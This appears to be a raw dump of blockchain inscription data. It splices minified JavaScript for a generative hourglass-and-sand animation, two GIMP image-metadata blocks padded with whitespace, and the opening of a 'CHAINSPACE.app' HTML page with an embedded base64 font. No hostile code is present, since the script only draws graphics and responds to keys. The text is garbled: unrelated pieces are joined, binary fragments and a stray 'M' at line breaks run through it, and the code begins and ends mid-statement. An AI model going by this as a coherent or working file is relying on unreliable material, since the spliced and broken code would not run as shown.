map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
4DdMPCOQO(:Z2)CAaq4KjJJKEF@2
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobeM
.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:6382a05a-0c07-4b48-acb8-a0747d80b861" xmpMM:InstanceID="xmp.iid:22fbae72-2dac-4626-b320-f3ad1dc9fbc5" xmpMM:OriginalDocumentID="xmp.did:637de84a-0b77-4c4b-868e-c16c4c40c386" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676418198883896" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T10:43:17+11:00" xmp:ModifyDate="2023:02:15T10:43:17+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:M
action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:8664d525-e9ec-43c7-b7fd-608caaf6dd0d" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T10:43:18"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                    M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                                                     <?xpacket end="w"?>h!
text/plain;charset=utf-8
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GIMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMMM
:DocumentID="gimp:docid:gimp:78385af9-69f9-4d65-91ce-0f7a8ea9b048" xmpMM:InstanceID="xmp.iid:78cfe358-7bfa-42f0-980a-9b68518ce1ac" xmpMM:OriginalDocumentID="xmp.did:6e669164-8ab5-44f5-b918-8c3e26a28966" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676413525768504" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:15T09:25:24+11:00" xmp:ModifyDate="2023:02:15T09:25:24+11:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvtM
:changed="/" stEvt:instanceID="xmp.iid:63b2d616-791d-4a51-ab1b-20273dd3442a" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-15T09:25:25"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        L
                                                                                                                                                                                                 <?xpacket end="w"?>h!
text/html;charset=utf-8
a hyperportal inscribed on-chain
enter at your own risk
Conjured by el_ranye x @timshelxyz
  * Mathcastles Studios (0x113d & xaltgeist)
  * Aleksandr Kubarskii
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width,user-scalable=no,initial-scale=1,maximum-scale=1,minimum-scale=1">
  <meta http-equiv="X-UA-Compatible" content="ie=edge">
  <title>CHAINSPACE.app</title>
  font-family: 'Noto Mathcastles Remix';
  src: url(data:application/font-woff2;charset=utf-8;base64,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
